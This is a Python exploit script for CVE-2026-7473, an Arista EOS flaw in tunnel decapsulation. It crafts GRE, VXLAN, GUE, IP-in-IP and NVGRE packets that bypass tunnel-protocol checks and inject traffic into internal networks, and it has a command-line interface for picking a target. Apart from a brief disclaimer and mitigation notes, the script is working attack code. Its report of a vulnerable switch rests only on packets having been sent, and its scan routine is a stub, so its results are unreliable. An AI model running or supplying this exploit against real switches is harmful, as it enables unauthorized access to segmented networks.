#!/usr/bin/env python3 """ CVE-2026-7473 - Arista EOS Tunnel Protocol Bypass Exploit Vulnerability: On affected Arista EOS platforms with tunnel decapsulation (VXLAN, decap-groups, or GRE tunnel interface), the switch incorrectly decapsulates and forwards unexpected tunneled packets whose destination IP matches its configured decapsulation IP due to missing tunnel protocol type verification. CVSS: 5.8 (Medium) / CVSSv4: 6.8 CWE: 1023 - Incomplete Comparison with Missing Factors CISA KEV: Added 2026-06-09, Due 2026-06-23 Author: Security Research Disclaimer: For authorized security testing only """ import socket import struct import argparse import random import sys from scapy.all import * from scapy.layers.inet import IP, UDP from scapy.layers.l2 import Ether # ANSI Colors R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" class AristaTunnelBypass: def __init__(self, target_ip, decap_ip, interface="eth0"): self.target_ip = target_ip self.decap_ip = decap_ip self.interface = interface self.sock = None def create_gre_packet(self, inner_payload, src_ip=None): """ Build GRE packet (Protocol 47) When switch is configured for VXLAN, this should be blocked but vulnerability allows decapsulation """ if not src_ip: src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" # GRE header (RFC 2784) gre_header = struct.pack("!BBH", 0x00, # Flags (checksum present) 0x00, # Version/Reserved 0x0800 # Ethertype (IPv4) ) # IP header for outer packet outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47) # GRE protocol # Inner packet (payload that will be forwarded) inner_ip = IP(src=src_ip, dst=inner_payload["dst"]) inner_udp = UDP(sport=inner_payload.get("sport", 12345), dport=inner_payload.get("dport", 80)) inner_data = inner_payload.get("data", b"GET / HTTP/1.1\r\nHost: target\r\n\r\n") inner_packet = inner_ip / inner_udp / inner_data # Full GRE packet gre_packet = outer_ip / GRE(proto=0x800) / inner_packet return gre_packet def create_vxlan_packet(self, inner_payload, src_ip=None): """ Build VXLAN packet (UDP 4789) When switch is configured for GRE, this should be blocked but vulnerability allows decapsulation """ if not src_ip: src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" vni = random.randint(1, 16777215) # VXLAN header (8 bytes) vxlan_header = struct.pack("!BBH I", 0x08, # Flags (I flag set) 0x00, # Reserved 0x0000, # Reserved (vni << 8) # VXLAN Network Identifier (24 bits) ) # Outer UDP packet for VXLAN outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17) # UDP outer_udp = UDP(sport=random.randint(30000, 60000), dport=4789) # Inner packet (Ethernet frame) inner_eth = Ether(src="00:11:22:33:44:55", dst="ff:ff:ff:ff:ff:ff") inner_ip = IP(src="192.168.1.100", dst=inner_payload["dst"]) inner_data = inner_payload.get("data", b"VXLAN test payload") inner_frame = inner_eth / inner_ip / inner_data # Full VXLAN packet vxlan_packet = outer_ip / outer_udp / vxlan_header / inner_frame return vxlan_packet def create_gue_packet(self, inner_payload, src_ip=None): """ Build GUE (Generic UDP Encapsulation) packet Vulnerability allows decapsulation of GUE on switches configured for GRE or VXLAN """ if not src_ip: src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" # GUE header (RFC 7637) gue_header = struct.pack("!BBH", 0x00, # Version=0, Control=0, Encapsulation=0 0x00, # Flags 0x0800 # Next Protocol (IPv4) ) # Outer UDP outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17) outer_udp = UDP(sport=random.randint(30000, 60000), dport=inner_payload.get("gue_port", 6080)) # Inner payload inner_ip = IP(src="172.16.0.1", dst=inner_payload["dst"]) inner_icmp = ICMP(type=8, code=0) # Echo request # Full GUE packet gue_packet = outer_ip / outer_udp / gue_header / inner_ip / inner_icmp return gue_packet def create_ipip_packet(self, inner_payload, src_ip=None): """ Build IP-in-IP packet (Protocol 4) Vulnerability allows decapsulation on switches configured for GRE """ if not src_ip: src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" # Outer IP header with protocol 4 (IP-in-IP) outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=4) # Inner IP packet inner_ip = IP(src="10.0.0.1", dst=inner_payload["dst"]) inner_udp = UDP(sport=53, dport=53) inner_data = inner_payload.get("data", b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01") # Full IP-in-IP packet ipip_packet = outer_ip / inner_ip / inner_udp / inner_data return ipip_packet def create_nvgre_packet(self, inner_payload, src_ip=None): """ Build NVGRE (Network Virtualization GRE) packet """ if not src_ip: src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" # NVGRE header (GRE with TNI - Tenant Network Identifier) nvgre_header = struct.pack("!BBH I", 0x00, # Flags 0x00, # Reserved 0x6558, # Ethertype (Transparent Ethernet Bridging) 0x00000001 # TNI (24 bits) ) outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47) # Inner Ethernet frame inner_eth = Ether(src="aa:bb:cc:dd:ee:ff", dst="11:22:33:44:55:66") inner_ip = IP(src="192.168.100.1", dst=inner_payload["dst"]) nvgre_packet = outer_ip / GRE(proto=0x6558) / inner_eth / inner_ip return nvgre_packet def send_packet(self, packet, tunnel_type): """Send crafted tunnel packet to target""" try: print(f"{Y}[*] Sending {tunnel_type} packet to {self.decap_ip}{RESET}") # For Scapy packets if hasattr(packet, 'show'): send(packet, iface=self.interface, verbose=False) print(f"{G}[+] {tunnel_type} packet sent via Scapy{RESET}") else: # Raw socket fallback self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.sock.sendto(bytes(packet), (self.target_ip, 0)) print(f"{G}[+] {tunnel_type} packet sent via raw socket{RESET}") return True except Exception as e: print(f"{R}[-] Error sending {tunnel_type} packet: {e}{RESET}") return False def verify_forwarding(self, monitor_ip, timeout=5): """ Verify if the tunnel packet was improperly forwarded This would require monitoring on the expected egress interface """ print(f"{Y}[*] Monitoring for forwarded traffic to {monitor_ip}{RESET}") print(f"{Y}[!] Manual verification required - check switch logs{RESET}") print(f"{B}[+] Expected result: Packet appears on internal network{RESET}") def exploit_vxlan_to_gre(self): """Exploit: VXLAN configured -> send GRE packet""" print(f"\n{B}{BOLD}[+] Phase 1: VXLAN -> GRE Bypass{RESET}") print(f"{Y}Switch configured with VXLAN decapsulation{RESET}") print(f"{Y}Sending GRE packet - should be blocked but vulnerability allows{RESET}") payload = { "dst": "192.168.100.50", "data": b"GRE_OVER_VXLAN_BYPASS_" + random.randbytes(10) } gre_packet = self.create_gre_packet(payload) return self.send_packet(gre_packet, "GRE (over VXLAN configured switch)") def exploit_gre_to_vxlan(self): """Exploit: GRE configured -> send VXLAN packet""" print(f"\n{B}{BOLD}[+] Phase 2: GRE -> VXLAN Bypass{RESET}") print(f"{Y}Switch configured with GRE decapsulation{RESET}") print(f"{Y}Sending VXLAN packet - should be blocked but vulnerability allows{RESET}") payload = { "dst": "10.20.30.40", "data": b"VXLAN_OVER_GRE_BYPASS_" + random.randbytes(10) } vxlan_packet = self.create_vxlan_packet(payload) return self.send_packet(vxlan_packet, "VXLAN (over GRE configured switch)") def exploit_gre_to_ipip(self): """Exploit: GRE configured -> send IP-in-IP packet""" print(f"\n{B}{BOLD}[+] Phase 3: GRE -> IP-in-IP Bypass{RESET}") print(f"{Y}Switch configured with GRE decapsulation{RESET}") print(f"{Y}Sending IP-in-IP packet - should be decapsulated{RESET}") payload = { "dst": "172.31.0.1", "data": b"IPIP_OVER_GRE_TEST" } ipip_packet = self.create_ipip_packet(payload) return self.send_packet(ipip_packet, "IP-in-IP (over GRE configured switch)") def exploit_any_to_gue(self): """Exploit: Any config -> send GUE packet""" print(f"\n{B}{BOLD}[+] Phase 4: GUE Bypass{RESET}") print(f"{Y}Sending GUE packet to decapsulation IP{RESET}") payload = { "dst": "10.99.99.99", "gue_port": 6080, "data": b"GUE_BYPASS_PAYLOAD" } gue_packet = self.create_gue_packet(payload) return self.send_packet(gue_packet, "GUE") def exploit_nvgre_to_vxlan(self): """Exploit: NVGRE to VXLAN with TNI matching VNI""" print(f"\n{B}{BOLD}[+] Phase 5: NVGRE -> VXLAN Bypass{RESET}") print(f"{Y}Requires TNI matching configured VXLAN VNI{RESET}") payload = { "dst": "192.168.200.1", "vni": 100 } nvgre_packet = self.create_nvgre_packet(payload) return self.send_packet(nvgre_packet, "NVGRE (over VXLAN configured switch)") def scan_for_decap_ip(self, start_ip, end_ip): """ Scan for potential decapsulation IPs by sending probe packets """ print(f"{Y}[*] Scanning for decapsulation IPs...{RESET}") decap_ips = [] # Convert IP ranges start = struct.unpack('!I', socket.inet_aton(start_ip))[0] end = struct.unpack('!I', socket.inet_aton(end_ip))[0] for ip_int in range(start, end + 1): ip = socket.inet_ntoa(struct.pack('!I', ip_int)) # Send probe to detect if IP responds to tunnel traffic probe_payload = { "dst": "127.0.0.1", "data": b"PROBE_" + str(ip_int).encode() } gre_probe = self.create_gre_packet(probe_payload) # Send and check for ICMP responses return decap_ips def check_vulnerable_configuration(): """Check if the Arista switch has vulnerable configuration""" print(f"{B}[*] Checking for vulnerable configuration indicators:{RESET}") print(f"{Y}1. Check if device is a tunnel endpoint:{RESET}") print(f" show interfaces vxlan 1") print(f" show interfaces Tunnel0") print(f" show ip decap-group\n") print(f"{Y}2. Indicators of compromise:{RESET}") print(f" - Unexpected traffic on internal network segments") print(f" - Tunnel traffic of non-configured protocols being decapsulated") print(f" - MAC/ACL counters showing blocked unexpected traffic\n") def main(): parser = argparse.ArgumentParser( description="CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Send GRE packet to VXLAN-configured switch %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit vxlan-gre # Send VXLAN to GRE-configured switch %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gre-vxlan # Send GUE packet %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gue # Send all exploit types %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit all """ ) parser.add_argument("-t", "--target", required=True, help="Target switch IP") parser.add_argument("-d", "--decap-ip", required=True, help="Decapsulation IP configured on switch") parser.add_argument("-i", "--interface", default="eth0", help="Network interface (default: eth0)") parser.add_argument("--exploit", choices=["vxlan-gre", "gre-vxlan", "gre-ipip", "gue", "nvgre", "all"], default="all", help="Exploit type to run") parser.add_argument("--scan", action="store_true", help="Scan for decapsulation IPs") parser.add_argument("--check-config", action="store_true", help="Check vulnerable configuration") args = parser.parse_args() print(f"{R}{BOLD}") print("╔═══════════════════════════════════════════════════════════════════╗") print("║ CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass ║") print("║ Tunnel Protocol Type Verification Missing ║") print("║ CVSS: 5.8 (Medium) | CISA KEV: 2026-06-09 ║") print("╚═══════════════════════════════════════════════════════════════════╝") print(f"{RESET}") print(f"{Y}[!] WARNING: This tool demonstrates unauthorized tunnel decapsulation{RESET}") print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n") print(f"{B}[*] Target: {args.target}{RESET}") print(f"{B}[*] Decapsulation IP: {args.decap_ip}{RESET}") print(f"{B}[*] Interface: {args.interface}{RESET}\n") if args.check_config: check_vulnerable_configuration() sys.exit(0) exploit = AristaTunnelBypass(args.target, args.decap_ip, args.interface) try: if args.scan: print(f"{Y}[*] Scanning feature not fully implemented{RESET}") print(f"{Y}[!] Manual identification required{RESET}") success_count = 0 if args.exploit in ["vxlan-gre", "all"]: if exploit.exploit_vxlan_to_gre(): success_count += 1 if args.exploit in ["gre-vxlan", "all"]: if exploit.exploit_gre_to_vxlan(): success_count += 1 if args.exploit in ["gre-ipip", "all"]: if exploit.exploit_gre_to_ipip(): success_count += 1 if args.exploit in ["gue", "all"]: if exploit.exploit_any_to_gue(): success_count += 1 if args.exploit in ["nvgre", "all"]: if exploit.exploit_nvgre_to_vxlan(): success_count += 1 print("\n" + "="*60) if success_count > 0: print(f"{R}{BOLD}[!] VULNERABLE: Switch improperly decapsulated tunnel traffic{RESET}") print(f"{R}[!] Unexpected tunnel packets were forwarded{RESET}") print(f"{Y}[*] Apply ACL mitigations per Arista Advisory SA-0137{RESET}") else: print(f"{G}{BOLD}[✓] No bypass detected - Switch may be patched or mitigated{RESET}") print(f"\n{B}[*] Mitigation: Apply ACLs to block unexpected tunnel protocols{RESET}") print(f"{B}[*] Reference: https://www.arista.com/en/support/advisories-notices/security-advisory/24005-security-advisory-0137{RESET}") except KeyboardInterrupt: print(f"\n{Y}[!] Interrupted by user{RESET}") except Exception as e: print(f"{R}[!] Error: {e}{RESET}") print("="*60) if __name__ == "__main__": main()